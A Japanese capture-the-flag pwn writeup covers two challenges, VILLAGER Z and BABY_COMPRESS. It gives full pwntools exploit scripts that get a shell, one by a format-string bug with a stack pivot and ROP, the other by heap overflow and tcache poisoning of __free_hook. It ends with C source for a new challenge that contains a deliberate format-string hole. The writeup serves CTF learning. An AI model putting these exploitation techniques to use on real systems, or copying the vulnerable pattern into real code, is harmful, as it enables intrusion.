NiticCTF Pwn Writeup

後日詳しい解説動画を作って上げようと思っているので、よかったらチャンネル登録よろしくお願いします!!!

チャンネルはこちら!

VILLAGER Z

この問題にはFSBとreadを使っていることによる入力の最後にNULL終端がないという脆弱性があります。

これらを利用して以下の手順でシェルを取ります。
1. readの脆弱性を利用し、スタック上のスタックのアドレスのランダマイズ化に影響されない下位の部分を書き換えて、リターンアドレスが置かれている場所を指すようにする。(ランダマイズ化されない部分は3/2バイトですが、1バイト単位でしか書き換えられないので、1/2バイトの総当たりがあります)
書き換えた値を利用してFSBでリターンアドレスがcall vulnを指すよう変更し、もう一度vulnが呼ばれるようにする。
同時に FSBでアドレスをリークしておく。
2. ROPコードをスタック上に置き、FSBでリターン先をleave; retに変えてStack PivotをしてROPする。

from pwn import *

libc = ELF('./libc.so.6')
while True:
    p = remote('123.216.69.60', 4448)
    try:
        payload = b'%179p%35$hhn|%40$p|%41$p|%43$p|'
        payload += b'A' * (8 * 29 - len(payload)) + b'\x48'

        p.sendafter('Hello. What your name?\n', payload)
        leaks = p.recvuntil('A').split(b'|')
        stack_leak = int(leaks[1].decode(), 16)
        bin_leak = int(leaks[2].decode(), 16)
        libc.address = int(leaks[3].decode(), 16) + 0x7f3b0467b000 - 0x7f3b046a20b3

        p.recvuntil('Hello. What your name?\n')

        pop_rdi = 0x26b72
        pop_rsi = 0x27529
        value1 = 0x35
        value2 = (stack_leak & 0xffff) - 0x100 + 0x8

        fsb_payload = f'%{value1}p%10$hhn%{value2 - value1}p%11$hn'.encode()
        fsb_payload += b'B' * (0x20 - len(fsb_payload))
        fsb_payload += p64(stack_leak - 0x8)
        fsb_payload += p64(stack_leak - 0x10)
        rop_payload = p64(libc.address + pop_rdi)
        rop_payload += p64(next(libc.search(b'/bin/sh\x00')))
        rop_payload += p64(libc.symbols['system'])
        payload = fsb_payload + rop_payload
        payload = payload + b'C' * (0x80 - len(payload))
        p.send(payload)

        p.interactive()
        break
    except EOFError:
        p.close()

BABY_COMPRESS

この問題ではランレングス圧縮を利用して圧縮しています。

この圧縮方法では圧縮後のデータが圧縮前よりも大きくなる場合があります。
例えば、ABCDを圧縮するとA1B1C1D1になり、データが大きくなります。
この時、場合によってはheapoverflowが起こります。
オーバーフローするデータは自由に操作できないため、next chunkのサイズを変えることくらいしかできません。

これを利用して以下の手順でシェルを取ります。
1. サイズ書き換えを利用してチャンクオーバーラップをする。
2. オーバーラップされたチャンクを利用して、libcをリークする。
3. オーバーラップされたフリーチャンクを利用して、Tcache Poisoningをする。

from pwn import *

context.log_level = 'debug'


def add(index, content):
    p.sendlineafter('> ', '1')
    p.sendlineafter('index: ', str(index))
    p.sendlineafter('Input content: ', content)


def compress(index):
    p.sendlineafter('> ', '2')
    p.sendlineafter('index: ', str(index))


def decompress(index):
    p.sendlineafter('> ', '3')
    p.sendlineafter('index: ', str(index))


def clear(index):
    p.sendlineafter('> ', '4')
    p.sendlineafter('index: ', str(index))


def read(index):
    p.sendlineafter('> ', '5')
    p.sendlineafter('index: ', str(index))
    content_length = p.recvline()[len('length: '):-1]
    content = p.recvline()[len('content: '):-1]
    return content_length, content


breakpoints = [
    '0x251c',
    '0x25d5',
    '0x2c4a',
]

# p = process(['./chall'])
p = remote('123.216.69.60', 4445)

# Prepare tcache bins for metadata
for i in range(7):
    add(i, 'A' * 0x28)
for i in range(7):
    clear(i)

# Chunk overlap
data = 'CD' * 3 + '\x01' * 5
data = 'AABB' * ((0x38 - len(data)) // 4) + data
add(0, data)
add(1, '1' * 0x38)
add(2, '2' * 0x38)
add(3, '3' * 0x38)
add(4, '4' * 0x38)
compress(0)
data = b''.join(p64(0x0) + p64(k * 0x10 + 1) for k in reversed(range(0x2, 0x16)))
data += b'A' * (0x158 - len(data))
add(5, data)
clear(1)

# Libc leak
add(6, '6' * 0x38)
libc_leak = int.from_bytes(read(2)[1], 'little')
free_hook = libc_leak + 0x7fbc32665b28 - 0x7fbc32662be0
system = libc_leak + 0x7fbc324cc410 - 0x7fbc32662be0
log.info('libc leak: ' + hex(libc_leak))
log.info('free_hook: ' + hex(free_hook))
log.info('system: ' + hex(system))

# Tcache poisoning
clear(4)
clear(3)
data = b'7' * 8 * 7 + p64(0x41) + p64(free_hook)
data += b'7' * (0x58 - len(data))
add(7, data)
data = '/bin/sh\x00'
data += 'A' * (0x38 - len(data))
add(8, data)
data = p64(system)
data += b'\x00' * (0x38 - len(data))
add(9, data)
clear(8)

p.interactive()

VILLAGER Z 改

Zと名乗ってる割にはぬるすぎると思い、限界まで制限つけたVILLAGER Z 改を作ったのでぜひ挑戦してみてください!!!
環境: glibc 2.31 gcc ./Villager\ Z.c -o Villager\ Z

ファイルシステム側から/dev/nullを別のものに変えるとかはなしでお願いします。普通のpwnです。

#include <stdio.h>

#define SIZE 0x100

void forget(char buffer[]) {
    printf("Ok I'll repeat what you've said.\n");
    fprintf(stderr, buffer);
    printf("Oh no! I can't remember! I've lost all my memories!!!\n");
}

void listen() {
    char buffer[SIZE];
    fgets(buffer, SIZE, stdin);
    forget(buffer);
}

void converse() {
    printf("I've been so forgetful recently...\n");
    printf("Anything you want me to remember?\n");
    listen();
}

void init() {
    freopen("/dev/null", "w", stderr);
    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

int main() {
    init();
    converse();
}